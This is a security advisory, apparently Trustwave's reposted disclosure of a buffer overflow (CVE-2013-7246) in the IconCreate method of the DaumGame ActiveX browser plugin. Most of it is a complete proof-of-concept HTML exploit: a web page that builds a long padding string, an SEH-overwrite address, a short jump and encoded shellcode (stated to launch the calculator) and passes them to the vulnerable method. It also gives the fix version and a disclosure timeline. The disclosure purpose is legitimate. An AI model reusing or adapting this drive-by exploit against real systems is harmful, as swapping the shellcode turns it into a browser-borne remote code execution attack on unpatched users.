accept no compromises

DaumGame ActiveX 1.1.0.x Buffer Overflow

DaumGame ActiveX 1.1.0.x Buffer Overflow
Posted Jan 22, 2014
Authored by Daniel Chechik | Site trustwave.com

DaumGame active-x control versions 1.1.0.5 and 1.1.0.4 suffer from a buffer overflow vulnerability. Proof of concept code included.

tags | exploit, overflow, activex, proof of concept
advisories | CVE-2013-7246
MD5 | bb38487f14a6788ab2616efdecf39f1c

DaumGame ActiveX 1.1.0.x Buffer Overflow

Change Mirror Download
Trustwave SpiderLabs Security Advisory TWSL2014-002:
Buffer Overflow Vulnerability in DaumGame ActiveX

Published: 01/07/2014
Version: 1.1

Vendor: Daum (daum.net)
Product: Daum Game ActiveX
Version affected: 1.1.0.5, 1.1.0.4

Product description:
DaumGame ActiveX of Daum Communications is a plugin that is required for
playing in Daum Game website.


Finding 1: ActiveX IconCreate SEH Overwrite Remote Code Execution
Credit: Daniel Chechik of Trustwave SpiderLabs
CVE: CVE-2013-7246
CWE: CWE-119

DaumGame ActiveX versions 1.1.0.5, 1.1.0.4 by Daum Communications includes
the vulnerable method "IconCreate" which is designed to support icon
process. The method which accepts printable characters suffers from buffer
overflow vulnerability that leads to SEH overwrite.


The following Proof of Concept (PoC) executes an harmless calculator. In
this PoC the SEH handler is overwritten with an address from 'msls31.dll'
in order to control EIP.

## daumgame.html

<html>

<body>

<object name="activex2" classid="clsid:16B6A027-2732-4028-9303-EFE3E95EF766"> </object>

<script>


var overwrite = unescape("%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%90%90%eb%06%a9%15%6c%74%90%90%90%90%90%90%90%90%90%90%90%90");


var buffer = "";

for (i=0; i < 18004; i++ ){
buffer += "%41";
}

buffer = unescape(buffer);

var shellcode = "\xda\xd1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x5a\x48\x4f\x79\x33\x30\x45\x50\x35\x50\x71\x70\x6c\x49\x6b\x55\x65\x61\x4b\x62\x63\x54\x6e\x6b\x70\x52\x44\x70\x6e\x6b\x56\x32\x56\x6c\x6e\x6b\x56\x32\x34\x54\x6e\x6b\x33\x42\x74\x68\x34\x4f\x4e\x57\x32\x6a\x54\x66\x56\x51\x49\x6f\x45\x61\x49\x50\x4c\x6c\x37\x4c\x75\x31\x73\x4c\x73\x32\x76\x4c\x75\x70\x6b\x71\x5a\x6f\x76\x6d\x35\x51\x6b\x77\x38\x62\x5a\x50\x71\x42\x56\x37\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x42\x65\x6c\x73\x31\x6e\x30\x6c\x4b\x53\x70\x43\x48\x6e\x65\x6f\x30\x62\x54\x51\x5a\x55\x51\x4a\x70\x42\x70\x4c\x4b\x71\x58\x52\x38\x6e\x6b\x71\x48\x65\x70\x37\x71\x4e\x33\x6a\x43\x67\x4c\x71\x59\x4c\x4b\x75\x64\x4c\x4b\x57\x71\x6b\x66\x35\x61\x69\x6f\x54\x71\x4f\x30\x4e\x4c\x4b\x71\x48\x4f\x64\x4d\x47\x71\x7a\x67\x75\x68\
x59\x70\x74\x35\x79\x64\x46\x63\x71\x6d\x78\x78\x37\x4b\x51\x6d\x45\x74\x61\x65\x59\x72\x32\x78\x6c\x4b\x72\x78\x45\x74\x63\x31\x4b\x63\x30\x66\x6e\x6b\x64\x4c\x52\x6b\x6e\x6b\x52\x78\x37\x6c\x35\x51\x6e\x33\x4e\x6b\x66\x64\x6e\x6b\x37\x71\x6e\x30\x4b\x39\x77\x34\x54\x64\x75\x74\x71\x4b\x33\x6b\x71\x71\x56\x39\x61\x4a\x76\x31\x69\x6f\x6d\x30\x50\x58\x61\x4f\x32\x7a\x6c\x4b\x47\x62\x58\x6b\x4e\x66\x43\x6d\x50\x6a\x57\x71\x4e\x6d\x6e\x65\x6d\x69\x77\x70\x47\x70\x73\x30\x62\x70\x42\x48\x46\x51\x4e\x6b\x50\x6f\x6b\x37\x39\x6f\x4a\x75\x4d\x6b\x5a\x50\x38\x35\x4c\x62\x76\x36\x32\x48\x6c\x66\x4f\x65\x4d\x6d\x6f\x6d\x39\x6f\x69\x45\x55\x6c\x76\x66\x33\x4c\x76\x6a\x6d\x50\x39\x6b\x4b\x50\x52\x55\x66\x65\x6f\x4b\x53\x77\x76\x73\x63\x42\x30\x6f\x53\x5a\x65\x50\x73\x63\x79\x6f\x5a\x75\x61\x73\x33\x51\x30\x6c\x62\x43\x44\x6e\x35\x35\x61\x68\x63\x55\x43\x30\x41\x41";


var seh_code = overwrite + shellcode + buffer;

activex2.IconCreate(seh_code,'','');



</script>

</body>

</html>


Remediation Steps:
The vendor has released a fix in version 1.1.0.6


Revision History:
12/20/13 - Vulnerability disclosed to vendor
01/03/14 - Patch released by vendor
01/06/14 - Advisory published
01/07/14 - Confirmed fix
01/07/14 - Advisory revision published

References
1. http://game.daum.net/


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
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critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
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apply.

________________________________

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